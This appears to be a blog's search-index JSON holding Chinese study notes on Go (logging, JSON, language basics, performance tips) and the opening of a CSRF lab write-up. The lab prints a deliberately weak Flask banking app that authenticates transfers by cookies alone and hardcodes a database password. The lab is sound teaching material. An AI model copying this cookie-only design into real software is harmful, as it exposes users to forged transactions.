编译执行后得到的输出结果如下：\n2017/06/19 14:05:17.494943 .../log_demo/main.go:11: 这是一条很普通的日志。 配置日志前缀 log标准库中还提供了关于日志信息前缀的两个方法：\nfunc Prefix() string func SetPrefix(prefix string) 其中Prefix函数用来查看标准logger的输出前缀，SetPrefix函数用来设置输出前缀。\nfunc main() { log.SetFlags(log.Llongfile | log.Lmicroseconds | log.Ldate) log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) log.SetPrefix(\u0026amp;quot;[小王子]\u0026amp;quot;) log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) } 上面的代码输出如下：\n[小王子]2017/06/19 14:05:57.940542 .../log_demo/main.go:13: 这是一条很普通的日志。 这样我们就能够在代码中为我们的日志信息添加指定的前缀，方便之后对日志信息进行检索和处理。\n配置日志输出位置 func SetOutput(w io.Writer) SetOutput函数用来设置标准logger的输出目的地，默认是标准错误输出。\n例如，下面的代码会把日志输出到同目录下的xx.log文件中。\nfunc main() { logFile, err := os.OpenFile(\u0026amp;quot;./xx.log\u0026amp;quot;, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) if err != nil { fmt.Println(\u0026amp;quot;open log file failed, err:\u0026amp;quot;, err) return } log.SetOutput(logFile) log.SetFlags(log.Llongfile | log.Lmicroseconds | log.Ldate) log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) log.SetPrefix(\u0026amp;quot;[小王子]\u0026amp;quot;) log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) } 如果你要使用标准的logger，我们通常会把上面的配置操作写到init函数中。\nfunc init() { logFile, err := os.OpenFile(\u0026amp;quot;./xx.log\u0026amp;quot;, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) if err != nil { fmt.Println(\u0026amp;quot;open log file failed, err:\u0026amp;quot;, err) return } log.SetOutput(logFile) log.SetFlags(log.Llongfile | log.Lmicroseconds | log.Ldate) } 创建logger log标准库中还提供了一个创建新logger对象的构造函数–New，支持我们创建自己的logger示例。New函数的签名如下：\nfunc New(out io.Writer, prefix string, flag int) *Logger New创建一个Logger对象。其中，参数out设置日志信息写入的目的地。参数prefix会添加到生成的每一条日志前面。参数flag定义日志的属性（时间、文件等等）。\n举个例子：\nfunc main() { logger := log.New(os.Stdout, \u0026amp;quot;\u0026lt;New\u0026gt;\u0026amp;quot;, log.Lshortfile|log.Ldate|log.Ltime) logger.Println(\u0026amp;quot;这是自定义的logger记录的日志。\u0026amp;quot;) } 将上面的代码编译执行之后，得到结果如下：\n\u0026lt;New\u0026gt;2017/06/19 14:06:51 main.go:34: 这是自定义的logger记录的日志。 encoding/json json.Marshal json.Marshal 用于将Go的结构体或其他数据类型序列化为JSON格式的字节数组。如果序列化成功，它返回JSON格式的字节切片和nil作为错误值。如果序列化失败，它返回错误。\nbytes_slice, err := json.Marshal(a_struct) if err != nil { log.Fatalf(\u0026#34;JSON marshaling failed: %s\u0026#34;, err) } json.MarshalIndent json.MarshalIndent 类似于 json.Marshal，但它会产生格式化的JSON，使输出更易读。它接受额外的参数来控制缩进。第一个参数是要序列化的数据，第二个参数是每行输出的前缀字符串，第三个参数是每个层级的缩进字符串。\nbytes_slice, err := json.MarshalIndent(a_struct, \u0026#34;\u0026#34;, \u0026#34; \u0026#34;) if err != nil { log.Fatalf(\u0026#34;JSON marshaling failed: %s\u0026#34;, err) } json.Unmarshal json.Unmarshal 用于将JSON字节切片反序列化为Go的数据结构。它接受一个JSON字节切片和一个指向要填充的数据结构的指针。\nerr := json.Unmarshal(bytes_slice, \u0026amp;a_struct) if err != nil { log.Fatalf(\u0026#34;JSON unmarshaling failed: %s\u0026#34;, err) } json.Encode json.Encode 用于直接将Go的数据结构序列化为JSON格式并写入io.Writer接口（如文件、网络连接等）。这个函数是流式的，适用于将数据直接输出到HTTP响应体或文件中。\nencoder := json.NewEncoder(outputWriter) err := encoder.Encode(a_struct) if err != nil { log.Fatalf(\u0026#34;JSON encoding failed: %s\u0026#34;, err) } json.Decode json.Decode 用于直接从io.Reader接口（如文件、网络连接等）读取并反序列化JSON数据到Go的数据结构。这个函数是流式的，适用于从HTTP请求体或文件中读取数据。\ndecoder := json.NewDecoder(inputReader) err := decoder.Decode(\u0026amp;a_struct) if err != nil { log.Fatalf(\u0026#34;JSON decoding failed: %s\u0026#34;, err) } 在这些函数中，json.Marshal 和 json.MarshalIndent 用于将Go数据结构转换为JSON格式的字节切片，而json.Unmarshal 用于将JSON字节切片转换回Go数据结构。json.Encode 和 json.Decode 则提供了一种流式的方式来直接序列化和反序列化JSON数据。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/note-go-lib/","summary":"log Go语言内置的log包实现了简单的日志服务。本文介绍了标准库log的基本使用。\nGo内置的log库功能有限，例如无法满足记录不同级别日志的情况，我们在实际的项目中根据自己的需要选择使用第三方的日志库，如logrus、zap等。\n使用Logger log包定义了Logger类型，该类型提供了一些格式化输出的方法。本包也提供了一个预定义的“标准”logger，可以通过调用函数Print系列(Print|Printf|Println）、Fatal系列（Fatal|Fatalf|Fatalln）、和Panic系列（Panic|Panicf|Panicln）来使用，比自行创建一个logger对象更容易使用。\n例如，我们可以像下面的代码一样直接通过log包来调用上面提到的方法，默认它们会将日志信息打印到终端界面：\npackage main import ( \u0026amp;quot;log\u0026amp;quot; ) func main() { log.Println(\u0026amp;quot;这是一条很普通的日志。\u0026amp;quot;) v := \u0026amp;quot;很普通的\u0026amp;quot; log.Printf(\u0026amp;quot;这是一条%s日志。\\n\u0026amp;quot;, v) log.Fatalln(\u0026amp;quot;这是一条会触发fatal的日志。\u0026amp;quot;) log.Panicln(\u0026amp;quot;这是一条会触发panic的日志。\u0026amp;quot;) } 编译并执行上面的代码会得到如下输出：\n2017/06/19 14:04:17 这是一条很普通的日志。 2017/06/19 14:04:17 这是一条很普通的日志。 2017/06/19 14:04:17 这是一条会触发fatal的日志。 logger会打印每条日志信息的日期、时间，默认输出到系统的标准错误。Fatal系列函数会在写入日志信息后调用os.Exit(1)。Panic系列函数会在写入日志信息后panic。\n配置logger 标准logger的配置 默认情况下的logger只会提供日志的时间信息，但是很多情况下我们希望得到更多信息，比如记录该日志的文件名和行号等。log标准库中为我们提供了定制这些设置的方法。\nlog标准库中的Flags函数会返回标准logger的输出配置，而SetFlags函数用来设置标准logger的输出配置。\nfunc Flags() int func SetFlags(flag int) flag选项 log标准库提供了如下的flag选项，它们是一系列定义好的常量。\nconst ( // 控制输出日志信息的细节，不能控制输出的顺序和格式。 // 输出的日志在每一项后会有一个冒号分隔：例如2009/01/23 01:23:23.123123 /a/b/c/d.go:23: message Ldate = 1 \u0026lt;\u0026lt; iota // 日期：2009/01/23 Ltime // 时间：01:23:23 Lmicroseconds // 微秒级别的时间：01:23:23.123123（用于增强Ltime位） Llongfile // 文件全路径名+行号： /a/b/c/d.","title":"Go log库，encoding/json"},{"content":"配置 Go 工作区 继续之前，请务必仔细阅读此部分。\nGo 在组织项目文件方面与其他编程语言不同。 首先，Go 是在工作区的概念下工作的。 工作区就是应用程序源代码所在的位置。 所有 Go 项目共享同一个工作区。 不过，从版本 1.11 开始，Go 已开始更改此方法。 你尚且不必担心，因为我们将在下一个模块中介绍工作区。 现在，Go 工作区位于 $HOME/go，但如果需要，可以为所有项目设置其他位置。\n若要将工作区设置为其他位置，可以使用 $GOPATH 环境变量。 在处理更复杂的项目时，此环境变量有助于避免将来出现问题。\nGo 工作区文件夹 每个 Go 工作区都包含三个基本文件夹：\nbin：包含应用程序中的可执行文件。 src：包括位于工作站中的所有应用程序源代码。 pkg：包含可用库的已编译版本。 编译器可以链接这些库，而无需重新编译它们。 例如，工作站文件夹结构树可能与下面的示例类似：\nbin/ hello coolapp pkg/ github.com/gorilla/ mux.a src/ github.com/golang/example/ .git/ hello/ hello.go\nGo实战经验 在命令行中输入\u0026rsquo;code . \u0026lsquo;会唤起VS code编辑当前目录\n源码规范 可执行文件都要包含在package main中 import的包必须都要使用，否则报错不进行编译；vs code中保存文件就会自动调整文件格式，并且删除未使用的import 整个package main中只能有一个func main() 变量的声明和初始化 Go是强类型语言，声明的每个变量都绑定到特定的数据类型，并且只接受与此类型匹配的值。\n变量声明的方式有很多，格式和其他语言不太一样\n最普通的方式：var 变量名称 变量类型 Go也可以像Python那样自动推断变量的类型，有些时候可以不用加类型名称 最常用的方式（只适用于在函数内，声明并初始化一个新的变量）：使用冒号等号 age := 32 注意，在函数体外还是只能用var的方式声明和初始化变量 // 变量声明 // 变量声明了必须要使用，否则编译不通过 var first string var second, third string var age int = 1 var ( fisrtly int = 1 secondly string = 2 thirdly = \u0026#34;123\u0026#34; ) var firstName, secondName, agenumber = \u0026#34;123\u0026#34;, \u0026#34;456\u0026#34;, 32 // 最常见的声明方式 冒号等于号 := 用于声明并初始化变量，不能用于常量的声明 firstName_, secondName_, age_ := \u0026#34;123\u0026#34;, \u0026#34;456\u0026#34;, 32 // 常量声明f const HTTPstatusOK = 200 const ( StatusOK = 0 StatusConnectionReset = 1 StatusOtherError = 2 ) 数据类型 基本类型：数字、字符串、布尔值 聚合类型：数组、结构体 引用类型：指针、切片、映射、函数、通道 接口类型：接口 基本类型 在 Go 中，如果你不对变量初始化，所有数据类型都有默认值。\nint 类型的 0（及其所有子类型，如 int64） float32 和 float64 类型的 +0.000000e+000 bool 类型的 false string 类型的空值 整数 int类型有int8, int16, int32, int64, uint8等，不同类型的数字之间进行运算需要进行显式转换\nuint，无符号整数一般只用于位运算符和特定的算术运算符，如实现位集，解析二进制格式文件，或散列和加密。\nrune 只是 int32 数据类型的别名，常常指代一个Unicode码点（code point）；\nbyte类型是uint8类型的同义词，强调一个值是原始数据，而非量值。\n算术运算符 取模运算符%，仅能用于整数，取模余数的正负号总是和被除数一致。 除法运算/，其行为取决于操作数是否都为整型，整数相除，商会舍弃小数部分。 全部的基本类型的值（布尔值、数值、字符串）都可以进行比较。\n位运算符 运算符^作为二元运算符时，表示异或（XOR）；作为一元运算符时，表示按位取反。 运算符\u0026amp;^表示按位清除： 如表达式z=x\u0026amp;^y，可以理解为y先取反，再与x做AND。 格式化输出 o := 0666 fmt.Printf(\u0026#34;%d %[1]o %#[1]x %#[1]X\u0026#34;,o) 谓词%d、%o、 %x和%X，指定进位制基数和输出格式； %后面的副词[1]高速Printf重复使用第一个操作数； 副词#高速Printf输出相应的前缀0、0x或0X。 用%c输出文字符号（rune literal），如果希望有单引号输出，用%q 浮点数 Go具有两种大小的浮点数：float32和 float64。\n在十进制下，float32的有效位数大约是6位，float64有效位数大约是15位，绝大多数情况下，应该优先选择float64。\n复数 Go具备两种大小的复数complex64和complaex128，两者分别由float32和float64构成。\n内置的complex函数根据给定的实部和虚部创建复数complex(1,2)\n内置的real和imag函数分别提取复数的实部和虚部，real(x*y)，imag(x*y)\n可以使用==和!=判断复数是否等值，若两个复数的实部和虚部都相等，则他们相等。\nmath/cmplx包提供了复数运算所需的库函数，如复数的平方根函数和幂函数。\n布尔值 在 Go 中，不能将布尔类型隐式转换为 0 或 1，反之也不行。\n字符串 字符串是不可变的字节序列。\n字符串操作的4个重要标准包\nstrings strings包提供了很多用于搜索、替换、比较、修整、切分和连接字符串的函数。\nbytes 主要用于操作字节slice（[]byte类型，其某些属性和字符串相同）\nstrconv 主要用于转换布尔值、整数、浮点数为 与之对应的 字符串形式；\n或者把 字符串 转换为 布尔值、整数、浮点数；\n另外还有为字符串添加、去除引号的函数。\nunicode 主要用于判别文字符号值特性的函数，如IsDigit、IsLetter、IsUpper和IsLower。\n字符串与数字的相互转换 int64(integer32)这样转换\n使用包strconv，实现字符串和数字之间的转换\nfunc Atoi(s string) (int, error)\nAtoi is equivalent to ParseInt(s, 10, 0), converted to type int.\nfunc Itoa(i int) string\nItoa is equivalent to FormatInt(int64(i), 10).\n整数转换成字符串\nfmt.Sprintf(\u0026quot;%d\u0026quot;,x) strconv.Itoa(x) 解释表示整数的字符串\nx, err := strconv.Atoi(\u0026quot;123\u0026quot;) y, err := strconv.ParseInt(\u0026quot;123\u0026quot;,10,64) 常量 常量是一种表达式，可以保证在编译阶段就可以计算出其表达式的值。\n常量声明可以同时指定类型和值，如果没有显示指定类型，则类型根据右边的表达式推断。\n常量生成器iota 在常量声明中，iota从0开始取值，逐项加一。\ntype Weekday int const ( Sunday Weekday = iota Monday Tuesday Wednesday Thursday Friday Saturday ) 上面声明中，Sunday的值为0，Monday为1\u0026hellip;\n无类型常量 许多常量并不从属于某一具体类型，这些值比基本类型的数字精度更高，且算术精度高于原生的及其精度，可以认为他们的精度至少达到了256位。\n借助推迟确定丛书类型，无类型常量不仅能够能暂时维持更高的精度，与类型已确定的常量相比，他们还能写进更多表达式而无需转换类型。\n例如无类型的浮点型常量math.Pi可用于任何需要浮点值或者复数的地方：\nvar x float32 = math.Pi var y float64 = math.Pi var z complex128 = math.Pi 复合数据类型 数组和结构体都是聚合类型，他们的长度都是固定的。\nslice和map都是动态数据结构，他们的长度在元素添加到结构中时可以动态增长。\n数组 如果一个数组的元素类型是可比较的，那么这个数组是可比较的，可以用==比较两个数组。\nGo把数组和其他的类型都看成值传递，而在其他的语言中，数组是隐式地使用引用传递。\n当然，也可以传递一个数组的指针给函数。\nslice slice表示一个拥有想同类型元素的可变长度的序列。slice通常写成[ ]T，其中元素的类型都是T。\n数组和slice紧密关联，slice是一种轻量级的数据结构，可以用来访问数组的部分或者全部元素，而这个数组被称为slice的底层数组。\n属性 slice有三个属性：指针、长度、容量。\n指针指向数组的第一个可以从slice中访问的元素。\n长度是指slice中的元素个数，他不能超过slice的容量。\n容量的大小通常是从slice的其实元素到底层数组的最后一个元素的个数。\nGo的内置函数len和cap可以返回slice的容量和长度。\nslice比较 和数组不同，slice无法作比较，不能用==来测试两个slice是否拥有相同的元素。\n标准库中提供了高度优化的函数butes.Equal来比较两个字节slice([ ]byte)，但对于其他类型的slice我们必须自己写函数来比较。\nslice的零值是nil，检查一个slice是否是空，正确的做法是len(s)==0，而不是s == nil，因为在s != nil的情况下，slice也有可能是空。\nmake 内置函数make可以创建一个具有指定元素类型、长度和容量的slice。\nmake([]T,len) make([]T,len,cap)\t// 和make([]cap)[:len]功能相同 第一行代码其实make创建了一个无名数组并返回了他的一个slice，这个数组只能通过slice进行访问，其中的cap可以省略，不过slice的长度和容量相等。\n第二行代码，slice值引用了数组的前len个元素，未来的slice元素留出空间。\nappend函数 内置函数append将元素追加到slice的后面。\nmap 结构体 函数 Go 中的所有可执行程序都具有此函数，因为它是程序的起点。 程序中只能有一个 main() 函数。 如果创建的是 Go 包，则无需编写 main() 函数。\n命令行参数 os.Args[0]是命令本身的名字，从1开始读取命令行参数 strconv.Atoi()函数的使用，它的返回值是两个，_在Go中表示不会用到的变量 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { // 这里的os.Args[0]是命令本身的名字，所以我们从os.Args[1]开始处理 sum := sum(os.Args[1], os.Args[2]) fmt.Println(\u0026#34;Sum:\u0026#34;, sum) } func sum(a string, b string) int { // Atoi返回的是两个值，一个是转换后的值，一个是错误信息 numa, _ := strconv.Atoi(a) numb, _ := strconv.Atoi(b) return numa + numb } 函数返回值的强制转换 func sum(number1 string, number2 string) (result int) { int1, _ := strconv.Atoi(number1) int2, _ := strconv.Atoi(number2) result = int1 + int2 return } 返回多个值 在第一行就相当于sum和mul已经完成了声明，所以在后面不能用冒号等号运算符。\nfunc caculate(num1 string, num2 string) (sum int, mul int) { numa, _ := strconv.Atoi(num1) numb, _ := strconv.Atoi(num2) sum = numa + numb mul = numa * numb return } 指针传值 在实参上用 \u0026amp;变量 的方式传递地址，形参用 *类型 的方式接收地址，在函数内部用 *变量 的方式读取地址中的值并进行修改。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { name := \u0026#34;Otis\u0026#34; fmt.Println(\u0026#34;Hello\u0026#34;, name) changeName(\u0026amp;name, \u0026#34;Maeve\u0026#34;) fmt.Println(\u0026#34;Hello\u0026#34;, name) } func changeName(name *string, newName string) { *name = newName return } 包 当使用 main 包时，程序将生成独立的可执行文件。 但当程序非是 main 包的一部分时，Go 不会生成二进制文件。 它生成包存档文件（具有 .a 扩展名的文件）。\n创建包 不同于其他编程语言，Go 不会提供 public 或 private 关键字，以指示是否可以从包的内外部调用变量或函数。 但 Go 须遵循以下两个简单规则：\n如需将某些内容设为专用内容，请以小写字母开始。 如需将某些内容设为公共内容，请以大写字母开始。 package calculator var logMessage = \u0026#34;[LOG]\u0026#34; // Version of the calculator var Version = \u0026#34;1.0\u0026#34; func internalSum(number int) int { return number - 1 } // Sum two integer numbers func Sum(number1, number2 int) int { return number1 + number2 } 让我们看一下该代码中的一些事项：\n只能从包内调用 logMessage 变量。 可以从任何位置访问 Version 变量。 建议你添加注释来描述此变量的用途。 （此描述适用于包的任何用户。） 只能从包内调用 internalSum 函数。 可以从任何位置访问 Sum 函数。 建议你添加注释来描述此函数的用途。 若要确认一切正常，可在 calculator 目录中运行 go build 命令。 如果执行此操作，请注意系统不会生成可执行的二进制文件。\n创建模块 在编写完成包之后，在终端中执行命令go mod init 模块名字，就会将当前的go文件打包成一个模块，想要调用这个模块中的包的内容，就要先import模块中的包名。\n控制流 if/else表达式语句 go的if条件没有小括号，但是执行体部分有大括号，又不像Python，又不像C++的。\nelse子句可选，go不支持三元运算符\n像这样：\nif i \u0026gt; 0 { return true } // if, else if, else的使用方法 var a int = 10 if a \u0026lt; 20 { fmt.Println(\u0026#34;a is less than 20\u0026#34;) } else if a \u0026lt; 30 { fmt.Println(\u0026#34;a is less than 30\u0026#34;) } else { fmt.Println(\u0026#34;a is greater than 30\u0026#34;) } // 这里的b是局部变量，只在if语句块中有效，和if条件用的分号隔开 if b := 20; b \u0026lt; 30 { fmt.Println(\u0026#34;b is less than 30\u0026#34;) } 在 Go 中，在 if 块内声明变量是惯用的方式。 这是一种使用在 Go 中常见的约定进行高效编程的方式。\nSwitch语句 switch语句的基本格式：\nswitch i{ case 0: fmt.Println(\u0026#34;Zero\u0026#34;) case 1,3,5,7:\t// case 中可以包含多个值，可以避免代码重复的问题 fmt.Println(\u0026#34;One\u0026#34;) default: fmt.Println(\u0026#34;NO MATCH\u0026#34;) } for语句 // for循环的大括号是必须的 for i := 0; i \u0026lt; 10; i++ { fmt.Println(\u0026#34;for loop\u0026#34;) } // go没有while循环，可以用for代替 for a \u0026lt; 20 { fmt.Println(\u0026#34;while loop\u0026#34;) a++ } // 无限循环 var num int64 for { fmt.Println(\u0026#34;infinite loop\u0026#34;) num = time.Now().Unix() if num%5 == 1 { fmt.Println(\u0026#34;break\u0026#34;) break } } fmt.Println(num) 性能优化 slice 预分配内存 尽可能在使用make()创建切片的时候提供容量信息。\n// good data := make([]int, 0, size) // bad data := make([]int, 0) 这和slice的底层实现有关，提前预分配内存可以避免向slice中append的过程中不断扩容，而降低效率。\n大内存释放 在已有切片的基础上创建切片，会对原先的切片造成引用，从而不会垃圾回收浪费内存。\n可以使用copy替代re-slice。\n// bad func GetLastBySlice(origin []int) []int{ return origin[len(origin)-2:] } // good func GetLstByCopy (origin []int) []int{ result := make([]int,2) copy(result, origin[len(origin)-2:]) return result } string 字符串拼接处理 可以有三种方式处理拼接字符串，直接使用+进行拼接操作，使用StrBuilder()方法，使用ByteBuffer()方法。\nfunc Plus(n int, str string) string { s := \u0026#34;\u0026#34; for i:=0; i\u0026lt;n; i++{ s += str } return s } // 性能最好 func StrBuilder(n int, str string) string{ var builder string.Builder for i:=0; i\u0026lt;n; i++{ builder.WriteString(str) } return builder.String() } // 性能和StrBuilder差不多，稍差 func ByteBuffer(n int, str string) string{ buf := new(bytes.Buffer) for i:=0; i\u0026lt;n; i++{ buf.WriteString(str) } return buf.String() } 字符串string在go中是不可变类型，每次使用+进行拼接都要重新开辟空间，并重新分配内存，这就导致了他的效率很低。\nStrBuilder和ByteBuffer底层都是使用[]byte数组，有内存扩容策略，不用每次都重新分配内存。\nStrBuilder在转化为字符串的时候直接将底层的[]byte转换成伟字符串进行返回；\n而ByteBuffer在转换为字符串的时候重新申请了一块空间，导致他比StrBuilder慢一点。\n性能进一步提升\n在StrBuilder和ByteBuffer方法中，提前使用builder.Grow(n*len(str))或buf.Grow(n*len(str))方法进行内存预分配。\nfunc StrBuilder(n int, str string) string{ var builder string.Builder // new builder.Grow(n*len(str)) for i:=0; i\u0026lt;n; i++{ builder.WriteString(str) } return builder.String() } struct 空结构体 空结构体不占用任何的内存空间。\n可在各种场景当做占位符使用：\n节省内存 对于实现set，可以考虑用map进行代替；\n对于这个场景，只需要用到map的键，而不需要使用值\nfunc EmptyStructMap(n int){ m := make(map[int]struct{}) for i:=0; i\u0026lt;n; i++{ m[i] = struct{}{} } } 多线程操作 atimic包 VS 加锁 使用atomic包\n锁的实现是通过操作系统来实现，属于系统调用 atomic操作通过硬件实现，效率比锁高 sync.Mutex应该用于保护一段逻辑，不仅仅用于保护一个变量 对于非数值操作，可以使用atomic.Value，能承载一个interface{} ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/note-go/","summary":"配置 Go 工作区 继续之前，请务必仔细阅读此部分。\nGo 在组织项目文件方面与其他编程语言不同。 首先，Go 是在工作区的概念下工作的。 工作区就是应用程序源代码所在的位置。 所有 Go 项目共享同一个工作区。 不过，从版本 1.11 开始，Go 已开始更改此方法。 你尚且不必担心，因为我们将在下一个模块中介绍工作区。 现在，Go 工作区位于 $HOME/go，但如果需要，可以为所有项目设置其他位置。\n若要将工作区设置为其他位置，可以使用 $GOPATH 环境变量。 在处理更复杂的项目时，此环境变量有助于避免将来出现问题。\nGo 工作区文件夹 每个 Go 工作区都包含三个基本文件夹：\nbin：包含应用程序中的可执行文件。 src：包括位于工作站中的所有应用程序源代码。 pkg：包含可用库的已编译版本。 编译器可以链接这些库，而无需重新编译它们。 例如，工作站文件夹结构树可能与下面的示例类似：\nbin/ hello coolapp pkg/ github.com/gorilla/ mux.a src/ github.com/golang/example/ .git/ hello/ hello.go\nGo实战经验 在命令行中输入\u0026rsquo;code . \u0026lsquo;会唤起VS code编辑当前目录\n源码规范 可执行文件都要包含在package main中 import的包必须都要使用，否则报错不进行编译；vs code中保存文件就会自动调整文件格式，并且删除未使用的import 整个package main中只能有一个func main() 变量的声明和初始化 Go是强类型语言，声明的每个变量都绑定到特定的数据类型，并且只接受与此类型匹配的值。\n变量声明的方式有很多，格式和其他语言不太一样\n最普通的方式：var 变量名称 变量类型 Go也可以像Python那样自动推断变量的类型，有些时候可以不用加类型名称 最常用的方式（只适用于在函数内，声明并初始化一个新的变量）：使用冒号等号 age := 32 注意，在函数体外还是只能用var的方式声明和初始化变量 // 变量声明 // 变量声明了必须要使用，否则编译不通过 var first string var second, third string var age int = 1 var ( fisrtly int = 1 secondly string = 2 thirdly = \u0026#34;123\u0026#34; ) var firstName, secondName, agenumber = \u0026#34;123\u0026#34;, \u0026#34;456\u0026#34;, 32 // 最常见的声明方式 冒号等于号 := 用于声明并初始化变量，不能用于常量的声明 firstName_, secondName_, age_ := \u0026#34;123\u0026#34;, \u0026#34;456\u0026#34;, 32 // 常量声明f const HTTPstatusOK = 200 const ( StatusOK = 0 StatusConnectionReset = 1 StatusOtherError = 2 ) 数据类型 基本类型：数字、字符串、布尔值 聚合类型：数组、结构体 引用类型：指针、切片、映射、函数、通道 接口类型：接口 基本类型 在 Go 中，如果你不对变量初始化，所有数据类型都有默认值。","title":"Go学习笔记"},{"content":"简介 CSRF攻击利用了受害者已经通过身份验证并且在一个网站上建立的有效会话，来执行未经授权的操作。当受害者在一个网站上登录并获得一个会话（例如通过使用用户名和密码进行身份验证），该网站会为其分配一个令牌或会话ID，以便在后续的请求中验证用户的身份。\nCSRF攻击者会通过诱使受害者访问一个恶意网站或点击恶意链接，来利用受害者的已验证会话。由于受害者在浏览器中仍然保持着有效会话，攻击者可以构造特制的请求，以利用该会话来执行恶意操作，而这些操作是受害者并不知情或未经授权的。\n例如，假设受害者在银行网站上登录并建立了一个有效的会话。攻击者可以通过电子邮件或社交媒体发送一个包含恶意链接的消息给受害者。如果受害者点击了该链接，他们的浏览器将自动向银行网站发送一个请求，而这个请求中包含了受害者的有效会话信息。银行网站在验证会话时会认为这个请求是合法的，因为会话是有效的，所以它执行了该请求所代表的操作，如转账、修改账户信息等，而受害者是毫不知情的。\nCSRF攻击的目标是利用受害者的已验证会话来执行攻击者所期望的未经授权操作，从而导致受害者的损失或者对系统的安全产生威胁。\n补充知识 cookie 一般情况下，cookie是以键值对进行表示的(key-value)，例如name=jack，这个就表示cookie的名字是name，cookie携带的值是jack。\ncookie有2种存储方式，一种是会话性，一种是持久性。\n会话性：如果cookie为会话性，那么cookie仅会保存在客户端的内存中，当我们关闭客服端时cookie也就失效了 持久性：如果cookie为持久性，那么cookie会保存在用户的硬盘中，直至生存期结束或者用户主动将其销毁。\n组成 （1）cookie名称 （2）cookie值 （3）Expires：过期时间。当过了过期时间后，浏览器会将该cookie删除。如果不设置Expires，则关闭浏览器后该cookie失效。 （4）Path：用来设置在路径下面的页面才可以访问该cookie，一般设为/，以表示同一站点的所有页面都可以访问该cookie。 （5）Domain：用来指定哪些子域才可以访问cookie，格式一般为“.XXX.com” （6）Secure:如果设置了secure没有值，则代表只有使用HTTPS协议才可以访问 （7）HttpOnly：如果在cookie中设置了HttpOnly属性，那么通过JavaScript脚本等将无法读取到cookie信息。\nURL URL（统一资源定位符）的一般格式如下：\nscheme://host:port/path?query_parameters#fragment_identifier 具体解释如下：\nScheme（协议）：指定用于访问资源的协议，例如HTTP、HTTPS、FTP等。它是URL的开头部分，通常以双斜杠（//）结尾。 Host（主机）：指定目标资源所在的主机名或IP地址。主机名可以是域名（例如example.com）或IP地址（例如192.168.0.1）。 Port（端口）：指定用于访问目标资源的端口号（可选）。默认的端口号根据协议而不同，如HTTP默认端口是80，HTTPS默认端口是443。如果URL中没有指定端口，将使用默认端口。 Path（路径）：指定资源在服务器上的路径（可选）。路径部分是指服务器上资源的具体位置，可以是文件路径或目录路径。 Query Parameters（查询参数）：包含在URL中的键值对参数（可选）。查询参数通常用于向服务器传递额外的信息，多个参数之间使用\u0026quot;\u0026amp;\u0026ldquo;符号分隔。 Fragment Identifier（片段标识符）：用于标识文档中的特定片段（可选）。片段标识符通常由一个锚点或特定位置的标识符组成，用于在文档中导航到指定位置。 实验过程 使用Flask框架进行构建web应用。\n文件架构 ├── web-csrf/ │ ├── webA.py │ ├── webB.py │ ├── templates/ │ │ ├── home.html │ │ ├── login.html │ └── static/ │ └── style.css 源码 webA:\n# webA.py import hashlib import re import mysql.connector from flask import Flask, request, render_template, make_response app = Flask(__name__) db = mysql.connector.connect( host=\u0026#34;localhost\u0026#34;, user=\u0026#34;root\u0026#34;, password=\u0026#34;111111\u0026#34;, database=\u0026#34;web-csrf\u0026#34; ) cursor = db.cursor() # 登录功能 @app.route(\u0026#39;/\u0026#39;) @app.route(\u0026#39;/login\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def login(): if request.method == \u0026#39;POST\u0026#39;: username = request.form[\u0026#39;username\u0026#39;] password = request.form[\u0026#39;password\u0026#39;] # 检查用户名和密码是否匹配，参数化查询的方式 query = \u0026#34;SELECT * FROM user WHERE id = %s AND pwd = %s\u0026#34; cursor.execute(query, (username, password)) user = cursor.fetchone() # fetchone方法从查询结果中获取一条记录，以元组的形式返回 cursor.fetchall() # fetchall方法从查询结果中获取所有记录，以元组的形式返回 if user: user_id = user[0] user_token = hashlib.md5() user_token.update((user_id + str(request.cookies.get(\u0026#39;timestamp\u0026#39;))).encode(\u0026#39;utf-8\u0026#39;)) response = make_response(render_template(\u0026#39;home.html\u0026#39;, user_id=user[0], balance=user[3],user_token=user_token.hexdigest())) # 用户标识为用户ID和当前时间的md5摘要,在cookie中设置用户身份标识 user_id = user[0] user_token = hashlib.md5() user_token.update((user_id + str(request.cookies.get(\u0026#39;timestamp\u0026#39;))).encode(\u0026#39;utf-8\u0026#39;)) response.set_cookie(\u0026#39;user_id\u0026#39;, user_id) response.set_cookie(\u0026#39;user_token\u0026#39;, user_token.hexdigest()) # 将cookie中的用户身份标识存入数据库 query = \u0026#34;UPDATE user SET cookie = %s WHERE id = %s\u0026#34; cursor.execute(query, (user_token.hexdigest(), user_id)) db.commit() return response else: return \u0026#34;用户名或密码错误\u0026#34; return render_template(\u0026#39;login.html\u0026#39;) # 转账功能 @app.route(\u0026#39;/transfer\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) def transfer(): user_id_cookie = request.cookies.get(\u0026#39;user_id\u0026#39;) user_token_cookie = request.cookies.get(\u0026#39;user_token\u0026#39;) if not user_id_cookie or not user_token_cookie: return \u0026#34;你的用户身份已过期，请重新登录\u0026#34; # 比较user_token是否与数据库中的cookie一致 # 根据user_id从数据库中获取cookie cursor.fetchall() query = \u0026#34;SELECT cookie FROM user WHERE id = %s\u0026#34; cursor.execute(query, (user_id_cookie,)) cookie = cursor.fetchone()[0] if cookie != user_token_cookie: return \u0026#34;cookie匹配失败！你的用户身份已过期，请重新登录\u0026#34; # 获取转账目标用户的ID和金额 target_id = request.form[\u0026#39;target_id\u0026#39;] amount = request.form[\u0026#39;amount\u0026#39;] # 检测转账金额是否合法 # 用正则表达式匹配小数 if not re.match(r\u0026#39;^\\d+(\\.\\d+)?$\u0026#39;, amount): return \u0026#34;转账金额必须为数字\u0026#34; if float(amount) \u0026lt;= 0: return \u0026#34;转账金额必须大于0\u0026#34; # 